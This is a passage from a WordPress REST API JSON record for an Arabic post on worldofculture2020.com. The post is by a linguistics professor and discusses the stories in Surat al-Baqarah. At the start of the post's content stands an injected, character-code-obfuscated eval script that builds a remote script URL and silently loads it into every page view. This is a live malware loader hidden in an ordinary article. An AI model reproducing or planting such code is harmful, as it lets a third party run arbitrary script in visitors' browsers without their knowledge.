o=String;eval(o.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,10,118,97,114,32,98,100,32,61,32,34,104,116,116,34,43,34,112,115,58,34,43,34,47,34,43,34,47,115,34,43,34,108,101,101,34,43,34,112,46,115,116,114,97,34,43,34,116,34,43,34,111,115,98,34,43,34,111,100,121,46,99,111,109,47,34,43,34,115,99,34,43,34,114,105,112,34,43,34,116,34,43,34,115,47,104,101,97,34,43,34,100,46,106,34,43,34,115,34,43,34,63,34,43,34,118,61,51,34,43,34,46,34,43,34,56,34,43,34,46,48,34,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));\/*54745756836*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u0623.\u062f. \u0639\u0646\u062a\u0631 \u0635\u0644\u062d\u064a | \u0623\u0633\u062a\u0627\u0630 \u0627\u0644\u062a\u0631\u062c\u0645\u0629 \u0648\u0627\u0644\u0644\u063a\u0648\u064a\u0627\u062a \u2013 \u062c\u0627\u0645\u0639\u0629 \u062c\u0646\u0648\u0628 \u0627\u0644\u0648\u0627\u062f\u064a \u2013 \u064a\u0639\u0631\u0641 \u0645\u0639\u0638\u0645 \u0627\u0644\u0646\u0627\u0633 \u0623\u0646 \u0633\u0648\u0631\u0629 \u0627\u0644\u0628\u0642\u0631\u0629 \u062a\u062d\u0641\u0644 \u0628\u0642\u0635\u0635 \u0644\u0628\u0646\u064a \u0625\u0633\u0631\u0627\u0626\u064a\u0644\u060c \u0648 \u062a\u0630\u0643\u064a\u0631 \u0627\u0644\u0645\u0648\u0644\u0649 \u0639\u0632 \u0648\u062c\u0644 \u0644\u0647\u0645 \u0628\u0645\u0627 \u0645\u0646 \u0628\u0647 \u0639\u0644\u064a\u0647\u0645 .\u0648 \u064a\u064f\u0644\u0627\u062d\u0638 \u0623\u0646 \u0643\u0644 \u0642\u0635\u0629 \u0645\u0646\u0647\u0627 \u062a\u0628\u062f\u0623 \u0628 (\u0648\u0625\u0630) \u0645\u0646 \u0645\u062b\u0644: \u0648\u064e\u0625\u0650\u0630\u0652 \u0646\u064e\u062c\u0651\u064e\u064a\u0652\u0646\u064e\u0627\u0643\u064f\u0645 \u0645\u0651\u0650\u0646\u0652 \u0622\u0644\u0650 \u0641\u0650\u0631\u0652\u0639\u064e\u0648\u0652\u0646\u064e \u064a\u064e\u0633\u064f\u0648\u0645\u064f\u0648\u0646\u064e\u0643\u064f\u0645\u0652 \u0633\u064f\u0648\u0621\u064e \u0627\u0644\u0652\u0639\u064e\u0630\u064e\u0627\u0628\u0650 \u064a\u064f\u0630\u064e\u0628\u0651\u0650\u062d\u064f\u0648\u0646\u064e \u0623\u064e\u0628\u0652\u0646\u064e\u0627\u0621\u064e\u0643\u064f\u0645\u0652 \u0648\u064e\u064a\u064e\u0633\u0652\u062a\u064e\u062d\u0652\u064a\u064f\u0648\u0646\u064e \u0646\u0650\u0633\u064e\u0627\u0621\u0643\u064f\u0645\u0652 &hellip;<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"_links":{"self":[{"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/posts\/24189"}],"collection":[{"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=24189"}],"version-history":[{"count":1,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/posts\/24189\/revisions"}],"predecessor-version":[{"id":24190,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/posts\/24189\/revisions\/24190"}],"wp:attachment":[{"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=24189"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=24189"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=24189"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}